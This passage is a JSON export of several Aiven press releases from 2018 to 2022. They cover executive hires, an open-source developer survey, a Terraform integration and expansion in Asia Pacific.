Europe."}],"markDefs":[],"style":"normal"},{"_key":"oO6pTFb3","_type":"block","children":[{"_key":"erDb4D0B","_type":"span","marks":[],"text":"“Aiven’s growth to-date has been impressive,” Lange said. “I am thrilled to have the opportunity to join the company at such a pivotal moment in its evolution and look forward to contributing to Aiven’s continued success.”"}],"markDefs":[],"style":"normal"},{"_key":"6x8eqB6V","_type":"block","children":[{"_key":"kNaH9kd2","_type":"span","marks":[],"text":"With more than two decades of experience delivering information security solutions to Fortune 500, TSE 100 and major public-sector companies, Arlen has held key roles in publicly traded financial companies, large-scale power utilities and internationally-recognized manufacturing and financial organizations. Prior to joining Aiven, he most recently served as the Director of Production Engineering at Salesforce Heroku. Arlen’s expertise, which includes security certifications in CISSP, CISA and CRISC, has led him "},{"_key":"B01dKfQ0","_type":"span","marks":["m5832382412161"],"text":"to be a known voice"},{"_key":"DG4Q5fIH","_type":"span","marks":[],"text":" in the industry as a blogger, podcaster, speaker and contributor to media and standards."}],"markDefs":[{"_key":"m5832382412161","_type":"link","href":"https://twitter.com/myrcurial"}],"style":"normal"},{"_key":"N5YEfOZh","_type":"block","children":[{"_key":"Gzy4YjVS","_type":"span","marks":[],"text":"“In this new role with Aiven, I plan to broaden our compliance base, continue to execute an already advanced security program and fully integrate security across all our organization’s functions. The future for Aiven is bright, and I am excited to offer my skills and insights as the company continues to evolve,” Arlen said."}],"markDefs":[],"style":"normal"},{"_key":"ex9i0AKJ","_type":"block","children":[{"_key":"DJ1qR2t3","_type":"span","marks":["strong"],"text":"About Aiven"},{"_key":"2lhr4zyM","_type":"span","marks":[],"text":" Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven is an SOC 2 and ISO 27001 certified cloud data platform provider, operating managed open source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide. For more information, visit "},{"_key":"75FX3uCI","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io"},{"_key":"8iIhrwwM","_type":"span","marks":[],"text":" or follow Aiven on Twitter: "},{"_key":"tzOazsBt","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"aF42Ibqm","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-02-17T00:00:00.000Z","seo":{"metaDescription":"Aiven brings on two seasoned executives to its C-suite to continue its global growth story after more than doubling revenue in 2020","metaTitle":"Aiven announces expansion of leadership with two new hires"},"slug":{"_type":"slug","current":"/press/aiven-announces-expansion-of-leadership-with-two-new-hires"},"subtitle":"Aiven brings on two seasoned executives to its C-suite to continue its global growth story after more than doubling revenue in 2020","title":"Aiven announces expansion of leadership with two new hires"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"67in4MFDkXfhbsq1fT8Ddn","_rev":"5iTZEBNHx5PwgJLwP8h228","_type":"pressRelease","_updatedAt":"2022-12-02T12:43:02Z","content":[{"_key":"adrGiYdL","_type":"block","children":[{"_key":"hwC6UHUO","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 27, 2021"},{"_key":"OScPDDVQ","_type":"span","marks":[],"text":" – Research released today by Aiven, a software company that combines the best open source technologies with cloud infrastructure, revealed that over 90 per cent of enterprise cloud developers believe open source will be a part of the future of their organisations, as businesses look to grow once more post-pandemic."}],"markDefs":[],"style":"normal"},{"_key":"UF1ROd0P","_type":"block","children":[{"_key":"OZgkUqhG","_type":"span","marks":[],"text":"Enterprise adoption of open source software has grown rapidly in recent years as businesses have sought cost-effective and innovative solutions to drive growth. The pandemic has only accelerated this trend, with organisations looking at how they can improve business processes and maintain growth despite the economic downturn."}],"markDefs":[],"style":"normal"},{"_key":"vJyGUdEn","_type":"block","children":[{"_key":"GWYImGzk","_type":"span","marks":[],"text":"Aiven’s survey investigated the opinions of cloud and database developers working for large enterprises and discovered that the popularity of open source has been driven by its wide variety of benefits. In fact, developers listed twice as many benefits associated with open source technology as they did disadvantages, highlighting the growing positivity towards open source across businesses in general."}],"markDefs":[],"style":"normal"},{"_key":"MyCrHq65","_type":"block","children":[{"_key":"9wiLeGwy","_type":"span","marks":[],"text":"The most popular advantage of open source listed by the developers was the transparency of the code, which makes it easier to find and fix bugs quickly. 69 per cent of respondents identified this as a key benefit, with other benefits cited including reduced vendor lock-in (52.5%) and the ability to build your own features (52.5%)."}],"markDefs":[],"style":"normal"},{"_key":"KNnKVCWA","_type":"block","children":[{"_key":"sZfdJqnY","_type":"span","marks":[],"text":"However, developers were also frank with the challenges also associated with open source, with 52 per cent stating maintenance as an obstacle to using open source technology. This was the most cited challenge among respondents, compared to other hindrances to open source adoption, such as difficulties configuring or installing the software (48%), a lack of support (45%), and hidden costs (27%)."}],"markDefs":[],"style":"normal"},{"_key":"e5sDHOzu","_type":"block","children":[{"_key":"9fXGIlQ7","_type":"span","marks":[],"text":"As a result, businesses are looking for solutions to make open source easier to implement. 35 per cent of respondents said they would opt for a managed open source solution in future, enabling them to avoid these maintenance issues and spend more time focussing on more business critical tasks."}],"markDefs":[],"style":"normal"},{"_key":"FRdSWSgH","_type":"block","children":[{"_key":"Q5a7BjYJ","_type":"span","marks":[],"text":"Heikki Nousiainen, CTO \u0026 Co-founder at Aiven, said: “Using open source software is a fantastic way for enterprises to take advantage of the latest innovation in software. More importantly, it provides businesses with the flexibility for growth, without having to worry about vendor lock-in and other challenges that come with using proprietary software. However, open source software does not come without its own challenges and it is crucial that businesses looking to adopt open source have the necessary support to overcome any hurdles associated with installation and maintenance, whether that be built in-house or provided by a third-party.”"}],"markDefs":[],"style":"normal"},{"_key":"WIR6l3q9","_type":"block","children":[{"_key":"g4bYDtFB","_type":"span","marks":[],"text":"Research conducted by Resonance on behalf of Aiven in January/February 2021. The study surveyed 200 UK developers who work in large enterprises and who specialise in cloud and database technology."}],"markDefs":[],"style":"normal"},{"_key":"8TLwbmCy","_type":"block","children":[{"_key":"EUBCgQ5L","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"FtCDIEBH","_type":"block","children":[{"_key":"SzihHQiE","_type":"span","marks":[],"text":"Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"vBHvsvl0","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"Dy9Nphoa","_type":"span","marks":[],"text":" and follow "},{"_key":"ickb24ho","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"3ZuSt7Ua","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-05-27T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Developers find open source software transparent, but cite maintenance as biggest downside of open source technology","metaTitle":"Why open source is the future for cloud developers"},"slug":{"_type":"slug","current":"/press/why-open-source-is-the-future-for-cloud-developers"},"subtitle":"Developers find open source software transparent, but cite maintenance as biggest downside of open source technology.","title":"Why open source is the future for cloud developers"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"23ixHuOlWKE2jmdU3rLUtb","_rev":"AKgKLyYIzQkMcxjfvdRJXR","_type":"pressRelease","_updatedAt":"2022-12-02T10:37:13Z","body":"__Helsinki, Finland__\n\nAiven recently built an integration to support Terraform tooling based on feedback from current and prospective clients looking to either include Aiven services in their Terraform tooling or looking for a streamlined way to manage large Aiven projects.\n\nTerraform is an open-source, infrastructure as code tool from HashiCorp. It’s purpose is to provide a seamless way to configure, manage and automate infrastructure components. From the Terraform website,\n\n\u003e The infrastructure Terraform can manage includes low-level components such as compute instances, storage, and networking, as well as high-level components such as DNS entries, SaaS features, etc.\n\nThe original Terraform provider was created and maintained by one of its clients, Jelmer Snoeck. The ownership of the Terraform provider was transferred to Aiven after additional development from the Aiven team.\n\nStaff Software Engineer, Rauli Ikonen was responsible for developing the Terraform integration to a version where it could be made generally available for all Aiven customers interested in the tooling, \"Terraform allows taking your management to the next level. While the Aiven web UI and command line tools are easy to use for accomplishing most tasks, actually having everything defined as code makes it so much easier to do coordinated changes, know exactly what you have currently running and add new resources that are guaranteed to have the correct properties.\"\n\nTo learn more about Terraform and its use, visit Aiven’s blog post. For more information on how to integrate Terraform with Aiven, visit the [Aiven Terraform Integration documentation](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"FXe7C0dz","_type":"block","children":[{"_key":"8c396620e634","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"60316d43d7b2","_type":"block","children":[{"_key":"cf14453799e9","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 3, 2018-"},{"_key":"UQ4eMMMs","_type":"span","marks":[],"text":" recently built an integration to support Terraform tooling based on feedback from current and prospective clients looking to either include Aiven services in their Terraform tooling or looking for a streamlined way to manage large Aiven projects."}],"markDefs":[],"style":"normal"},{"_key":"MpnX4UqU","_type":"block","children":[{"_key":"fpp3t3Oo","_type":"span","marks":[],"text":"Terraform is an open-source, infrastructure as code tool from HashiCorp. It’s purpose is to provide a seamless way to configure, manage and automate infrastructure components. From the Terraform website,"}],"markDefs":[],"style":"normal"},{"_key":"L9VAR6KT","_type":"block","children":[{"_key":"pJx1NwsB","_type":"span","markDefs":[],"style":"normal","text":"The infrastructure Terraform can manage includes low-level components such as compute instances, storage, and networking, as well as high-level components such as DNS entries, SaaS features, etc."}],"markDefs":[],"style":"blockquote"},{"_key":"7We6MtVT","_type":"block","children":[{"_key":"Q0rWDrif","_type":"span","marks":[],"text":"The original Terraform provider was created and maintained by one of its clients, Jelmer Snoeck. The ownership of the Terraform provider was transferred to Aiven after additional development from the Aiven team."}],"markDefs":[],"style":"normal"},{"_key":"iL8WHghX","_type":"block","children":[{"_key":"s9LCeLGp","_type":"span","marks":[],"text":"Staff Software Engineer, Rauli Ikonen was responsible for developing the Terraform integration to a version where it could be made generally available for all Aiven customers interested in the tooling, \"Terraform allows taking your management to the next level. While the Aiven web UI and command line tools are easy to use for accomplishing most tasks, actually having everything defined as code makes it so much easier to do coordinated changes, know exactly what you have currently running and add new resources that are guaranteed to have the correct properties.\""}],"markDefs":[],"style":"normal"},{"_key":"8McYO4JO","_type":"block","children":[{"_key":"XhC4PBEc","_type":"span","marks":[],"text":"To learn more about Terraform and its use, visit Aiven’s blog post. For more information on how to integrate Terraform with Aiven, visit the "},{"_key":"66hnA1nd","_type":"span","marks":["m7063369590587"],"text":"Aiven Terraform Integration documentation"},{"_key":"0Nat3xD3","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7063369590587","_type":"link","href":"https://help.aiven.io/en/articles/2370350-aiven-terraform-integration"}],"style":"normal"},{"_key":"G1irHbdz","_type":"block","children":[{"_key":"BphWKv8C","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"D9atkWwS","_type":"block","children":[{"_key":"hadNrtl0","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"F5LNKOwK","_type":"block","children":[{"_key":"XAEtJ0x5","_type":"span","marks":[],"text":"You can visit "},{"_key":"upUzQXhx","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"UrEdieIW","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"PvLjPtIo","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"DnqxpW7O","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-10-03T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: We now support Terraform, an open-source infrastructure and code tool where you can build your infrastructure as code.","metaTitle":"Aiven now supports Terraform tooling"},"slug":{"_type":"slug","current":"/press/aiven-now-supports-terraform-tooling"},"subtitle":"Aiven Press Release: We now support Terraform, an open-source infrastructure and code tool where you can build your infrastructure as code.","title":"Aiven now supports Terraform tooling"} {"__i18n_lang":"en","_createdAt":"2022-10-24T22:17:57Z","_id":"73eac62c-3d71-49ec-9c6f-870c3860fc93","_rev":"vjdmft1mUF3jrHqYRdJ3iX","_type":"pressRelease","_updatedAt":"2022-10-27T08:48:06Z","content":[{"_key":"b2d0ae9ab4e9","_type":"block","children":[{"_key":"5df69d40c29d0","_type":"span","marks":["strong"],"text":"Singapore — October 26, 2022 "},{"_key":"5df69d40c29d1","_type":"span","marks":[],"text":"- Aiven, the open source cloud data platform company, has announced the appointment of Olivier van Grembergen as Regional Vice President (RVP) of Asia Pacific (APAC) to drive the company’s expansion and accelerate growth across the region. Based in Singapore, Olivier will focus on sales and channel development, team expansion, and will lead Aiven’s regional growth initiatives and strategic partnerships. This marks an exciting chapter in Aiven’s development, with the company leading the booming market for managed cloud data solutions, opening four offices in the last 12 months alone, and boosting revenue by more than 100%."}],"markDefs":[],"style":"normal"},{"_key":"7304769c8baf","_type":"block","children":[{"_key":"4d177390ff650","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"4bf4fc836412","_type":"block","children":[{"_key":"90bcf10186650","_type":"span","marks":[],"text":"Olivier joins Aiven with a stellar record of driving transformational growth with companies such as AWS, Google, and HP. He is an accomplished digital transformation executive with more than 2 decades of experience, specialising in architecting strategy, delivering large-scale organisational change, and generating sustainable top and bottom-line growth.\n"}],"markDefs":[],"style":"normal"},{"_key":"c8807fb8a932","_type":"block","children":[{"_key":"78c769b919850","_type":"span","marks":[],"text":"Alongside the new RVP hire, in a bid to develop Aiven’s strategic relationships in the region and continue to aid organisations in their cloud transformation journeys, the company has signed an agreement with a major Google Cloud reseller, Cloud Ace, that works across seven key APAC territories, including Japan and Indonesia. This will further strengthen Aiven’s relationship with Google Cloud and help to provide customers in the region with proven open-source data services already widely used."}],"markDefs":[],"style":"normal"},{"_key":"bb3c3b6445a2","_type":"block","children":[{"_key":"1c961a7ce5950","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7d5673f820a5","_type":"block","children":[{"_key":"878c55afd2840","_type":"span","marks":[],"text":"Oskari Saarenmaa, CEO and co-founder, Aiven, comments on the appointment and continued growth in the APAC region."}],"markDefs":[],"style":"normal"},{"_key":"eeb4fc9e532c","_type":"block","children":[{"_key":"a866eb74aff40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9ada0676184d","_type":"block","children":[{"_key":"1e7620d9f17b0","_type":"span","marks":[],"text":"He says, “We’re thrilled with the pace at which we’ve been growing in the Asia Pacific region over the past year. Since October 2021, we have increased our regional headcount by more than 200% and are aggressively expanding across the Asia Pacific region. This couldn’t be a better time to welcome Olivier to chart our new phase of growth and guide our success as we continue to grow in a diverse region.”"}],"markDefs":[],"style":"normal"},{"_key":"72b1b57082e0","_type":"block","children":[{"_key":"aaaef0d277fc0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b1e22038dbc9","_type":"block","children":[{"_key":"4fdd3188e0bf0","_type":"span","marks":[],"text":"“We also fully intend to give back to the region, through schemes such as "},{"_key":"4fdd3188e0bf1","_type":"span","marks":["d8a2f3881031"],"text":"Cluster"},{"_key":"4fdd3188e0bf2","_type":"span","marks":[],"text":", where we work with promising start-ups to leverage our platform effectively. The programme is designed to provide all the tools required to construct a modern data pipeline, including PostgreSQL, Apache Kafka®, OpenSearch, Grafana, and more, as well as providing up to $100,000 credit for Aiven’s fully managed services for one year, all so you can work towards greatness.”"}],"markDefs":[{"_key":"d8a2f3881031","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"5bcb58eb4129","_type":"block","children":[{"_key":"32c6b6c4c7010","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"46311a2cecb8","_type":"block","children":[{"_key":"30d97a8fd3b40","_type":"span","marks":[],"text":"Countries in the region continue to digitally transform, with government-led digital initiatives driving huge growth in both the public and private sectors. Singapore’s Smart Nation 2025 blueprint and Indonesia’s Go Digital strategies are two prime examples. In fact, the Asian Development Bank "},{"_key":"30d97a8fd3b41","_type":"span","marks":["bc75de7213a6"],"text":"predicts"},{"_key":"30d97a8fd3b42","_type":"span","marks":[],"text":" that digital transformation could add 65 million jobs annually and an economic dividend of more than US$1.7 trillion to the region, proving that technologies such as open source will only become more important."}],"markDefs":[{"_key":"bc75de7213a6","_type":"link","href":"https://aric.adb.org/pdf/aeir/AEIR2021_highlights.pdf"}],"style":"normal"},{"_key":"4a1b9ac2a4ff","_type":"block","children":[{"_key":"cd35f28f36e10","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b7b3917c44bc","_type":"block","children":[{"_key":"538523fded720","_type":"span","marks":[],"text":"“The potential for open-source technology in this region is immense and we seek to grow our network of partners, recruit the best talent, and help customers in APAC address their development and digital transformation needs. This is an exciting time for us in the APAC region, and we’re committed to helping our customers succeed in their chosen area. I am thrilled to be joining Aiven at such a pivotal time,” said Olivier van Grembergen, Regional Vice President of APAC, Aiven."}],"markDefs":[],"style":"normal"},{"_key":"78b86fb6d600","_type":"block","children":[{"_key":"60d4bd4ecb230","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9e2e6067d067","_type":"block","children":[{"_key":"0b018a7d88d20","_type":"span","marks":[],"text":"This latest release follows Aiven’s global announcements of the beta launch of "},{"_key":"0b018a7d88d21","_type":"span","marks":["0197568f41d6"],"text":"Aiven for ClickHouse"},{"_key":"10f59208aad4","_type":"span","marks":[],"text":"®, marking Aiven’s entrance to the cloud data warehousing market, and the addition of "},{"_key":"0b018a7d88d23","_type":"span","marks":["dcaee5da972b"],"text":"Kafkawize"},{"_key":"0b018a7d88d24","_type":"span","marks":[],"text":", an open-source data governance tool for Apache Kafka®, to Aiven’s solutions portfolio."}],"markDefs":[{"_key":"0197568f41d6","_type":"link","href":"https://aiven.io/blog/aiven-for-clickhouse-beta-now-available"},{"_key":"dcaee5da972b","_type":"link","href":"https://kafkawize.com/"}],"style":"normal"},{"_key":"de169f328183","_type":"block","children":[{"_key":"2a93cdecb0a50","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"1b1ff4112447","_type":"block","children":[{"_key":"5d4fd9f1afa70","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"5d4fd9f1afa71","_type":"span","marks":["60b833d4ecea"],"text":"https://aiven.io/ja"}],"markDefs":[{"_key":"60b833d4ecea","_type":"link","href":"https://aiven.io/ja"}],"style":"normal"},{"_key":"eb7c5ce78f05","_type":"block","children":[{"_key":"676adb879ec80","_type":"span","marks":[],"text":"Free Trial "},{"_key":"676adb879ec81","_type":"span","marks":["d3d1e544234f"],"text":"https://console.aiven.io/signup"}],"markDefs":[{"_key":"d3d1e544234f","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"},{"_key":"00028460280b","_type":"block","children":[{"_key":"57729765a97a0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"d9131e855c28","_type":"block","children":[{"_key":"a6529077e6110","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"d4e7a57a08a7","_type":"block","children":[{"_key":"8a0a564a3aee0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"505e3d0cd192","_type":"block","children":[{"_key":"ff579c58ac9b0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"0cc61ffa2035","_type":"block","children":[{"_key":"be6a0ac2300d0","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"be6a0ac2300d1","_type":"span","marks":["85a47daca5a2"],"text":"aiven.io"},{"_key":"be6a0ac2300d2","_type":"span","marks":[],"text":" and follow "},{"_key":"be6a0ac2300d3","_type":"span","marks":["01afe9e1c957"],"text":"@aiven_io"},{"_key":"be6a0ac2300d4","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"85a47daca5a2","_type":"link","href":"https://aiven.io/"},{"_key":"01afe9e1c957","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"eb7eba636229","_type":"block","children":[{"_key":"9febe474ada50","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"bfa42ea0d574","_type":"block","children":[{"_key":"d1ac4f1b52990","_type":"span","marks":["strong"],"text":"Media Contacts: "},{"_key":"d1ac4f1b52991","_type":"span","marks":[],"text":"Ting Ong "}],"markDefs":[],"style":"normal"},{"_key":"143dab31da32","_type":"block","children":[{"_key":"eca316edd4900","_type":"span","marks":["6ec2cc1b43ce"],"text":"press@aiven.io"}],"markDefs":[{"_key":"6ec2cc1b43ce","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"2ab65988b621","_type":"block","children":[{"_key":"438cbfc91e780","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-10-26T01:01:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven appoints new APAC Regional Vice President, Olivier van Grembergen, to spearhead intensive growth plans \n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4e5d6d686db31e828bac08ccb02fc49aa00e17b8-1200x399-png","_type":"reference"}},"metaTitle":"Aiven expands into Asia Pacific region with strong growth"},"slug":{"_type":"slug","current":"/press/aiven-expands-into-asia-pacific-region-with-new-vp-leading-growth-plans"},"subtitle":"Aiven appoints new APAC Regional Vice President to spearhead intensive growth plans and announces accelerated growth exemplified by revenue increasing \u003e 100% in APAC, headcount up by \u003e 200%, and market reach expanded to five countries with a regional hub in Singapore\n","title":"Aiven expands into Asia Pacific region with new VP leading growth plans"} {"__i18n_lang":"en","_createdAt":"2022-11-28T05:25:57Z","_id":"097c3eb1-e408-4bbc-a4b2-8904a6ed9c13","_rev":"g8BVLuuhNlxml1asghtZlp","_type":"pressRelease","_updatedAt":"2022-11-29T08:01:00Z","content":[{"_key":"18cba6a9391d","_type":"block","children":[{"_key":"4e57c84105e40","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 29, 2022 "},{"_key":"4e57c84105e41","_type":"span","marks":[],"text":"- "},{"_key":"4e57c84105e42","_type":"span","marks":["c4b65a602766"],"text":"Aiven"},{"_key":"4e57c84105e43","_type":"span","marks":[],"text":", the open source cloud data platform company, has announced several key senior leadership appointments who collectively are focused on helping deliver the company’s commitment to democratising access to the best open source technologies while reducing the environmental impact of cloud services."}],"markDefs":[{"_key":"c4b65a602766","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"caa319d6673e","_type":"block","children":[{"_key":"81e68dd4a95b0","_type":"span","marks":[],"text":"\nThese strategic new leadership roles span operations and strategy, product marketing, developer relations, and product management and include"}],"markDefs":[],"style":"normal"},{"_key":"2137c8c3aad5","_type":"block","children":[{"_key":"530dafec759f0","_type":"span","marks":["em"],"text":"Katariina Korhonen, Vice President of Strategy and Operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c896853d2bd5","_type":"block","children":[{"_key":"8a5653ce1ddf0","_type":"span","marks":["em"],"text":"Amy Krishnamohan, Vice President of Product Marketing"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c17f497e10c6","_type":"block","children":[{"_key":"d9a0034e831b0","_type":"span","marks":["em"],"text":"Ian Massingham, Vice President of Developer Relations and Community"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"24eafb5b4c7d","_type":"block","children":[{"_key":"f1a3e964ec140","_type":"span","marks":["em"],"text":"Jonah Kowall, Vice President of Product Management"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"07f220309d68","_type":"block","children":[{"_key":"2de371bc86540","_type":"span","marks":[],"text":"\nOskari Saarenmaa, CEO and Co-founder at Aiven, comments on the appointments. “Aiven’s mission is to make developers’ lives better, by helping them build more sophisticated applications accessible to all. When starting Aiven, our goal was to build the company that we wanted to work for. Today we are delighted to be welcoming such a talented group to our leadership team and our wider Aiven community. Our ability to attract the best talent, while also supporting the career growth of our people continues to be instrumental in helping us develop new platform capabilities that bring us closer towards our goal of building more sustainable applications in the cloud.”"}],"markDefs":[],"style":"normal"},{"_key":"edd67ebb9444","_type":"block","children":[{"_key":"4c9aa1d8996f0","_type":"span","marks":[],"text":"\n"},{"_key":"4aea11fa3deb0","_type":"span","marks":["strong"],"text":"Katariina Korhonen"},{"_key":"4aea11fa3deb1","_type":"span","marks":[],"text":" has been appointed "},{"_key":"4aea11fa3deb2","_type":"span","marks":["strong"],"text":"Vice President of Strategy and Operations to Aiven's Executive Leadership team"},{"_key":"4aea11fa3deb3","_type":"span","marks":[],"text":". Katariina works closely with other senior executives and the board of directors and is focusing on building out Aiven’s corporate, operations, and sustainability strategy globally. Prior to her new role, Katariina spent the last six years in various executive roles at Smartly."}],"markDefs":[],"style":"normal"},{"_key":"1c3b2c77d9f0","_type":"block","children":[{"_key":"45b1630eb9970","_type":"span","marks":[],"text":"\n"},{"_key":"b51a271421570","_type":"span","marks":["strong"],"text":"Amy Krishnamohan"},{"_key":"b51a271421571","_type":"span","marks":[],"text":" has also joined as "},{"_key":"b51a271421572","_type":"span","marks":["strong"],"text":"Vice President of Product Marketing"},{"_key":"b51a271421573","_type":"span","marks":[],"text":" with the responsibility for Aiven’s product marketing direction and strategy, and nurturing and engaging with key stakeholders such as analysts, industry thought leaders, and strategic customers to increase the market awareness of Aiven. A Masters alumna of Carnegie Mellon University, Amy has gained diverse experience across product marketing and marketing strategy where she managed open-source database projects and other cloud-native databases. Prior to joining Aiven, she led product marketing strategies from major database companies such as MariaDB and Google Cloud."}],"markDefs":[],"style":"normal"},{"_key":"fd48c7a8a580","_type":"block","children":[{"_key":"26838dfdb28a0","_type":"span","marks":[],"text":"\nAiven also welcomes "},{"_key":"e5255ff1a6d01","_type":"span","marks":["strong"],"text":"Ian Massingham"},{"_key":"e5255ff1a6d02","_type":"span","marks":[],"text":" as the company’s "},{"_key":"e5255ff1a6d03","_type":"span","marks":["strong"],"text":"Vice President of Developer Relations and Community"},{"_key":"e5255ff1a6d04","_type":"span","marks":[],"text":" focusing on further building Aiven’s relationship with the developer community and ensuring that our programs align with our mission of making developers’ lives better. Prior to joining Aiven, Ian led the Developer Relations \u0026 Community team at MongoDB. Before that, he played an integral role in establishing and scaling the evangelism and developer relations function at AWS and led Worldwide Solutions Architecture for Startup customers for the final 18 months of his tenure at AWS."}],"markDefs":[],"style":"normal"},{"_key":"85cd99adcbf9","_type":"block","children":[{"_key":"c1a9509baf750","_type":"span","marks":[],"text":"\n"},{"_key":"b4f92a3d60590","_type":"span","marks":["strong"],"text":"Jonah Kowall"},{"_key":"b4f92a3d60591","_type":"span","marks":[],"text":" has also joined as Aiven’s new "},{"_key":"b4f92a3d60592","_type":"span","marks":["strong"],"text":"Vice President of Product Management. "},{"_key":"b4f92a3d60593","_type":"span","marks":[],"text":"In his role, Jonah will lead and execute the product strategy and head the product team responsible for platform enhancements to support ongoing growth in Aiven’s customer base. Previously a Chief Technology Officer at Logz.io and several other startups, Jonah’s background includes being a Research VP at Gartner and a regular contributor and maintainer of the Open Source Jaeger and OpenTelemetry projects. Jonah joins Aiven and brings with him a wealth of knowledge on all things observability."}],"markDefs":[],"style":"normal"},{"_key":"af78950924e9","_type":"block","children":[{"_key":"c097e3e45f9b0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b28a482f0ebe","_type":"block","children":[{"_key":"7b9dc6e57f190","_type":"span","marks":[],"text":"This latest announcement of senior leadership expansion closely follows the "},{"_key":"7b9dc6e57f191","_type":"span","marks":["03843b60e050"],"text":"appointment"},{"_key":"7b9dc6e57f192","_type":"span","marks":[],"text":" of Olivier van Grembergen as Regional Vice President (RVP) of Aiven Asia Pacific (APAC), announced earlier in October to drive continued growth in the 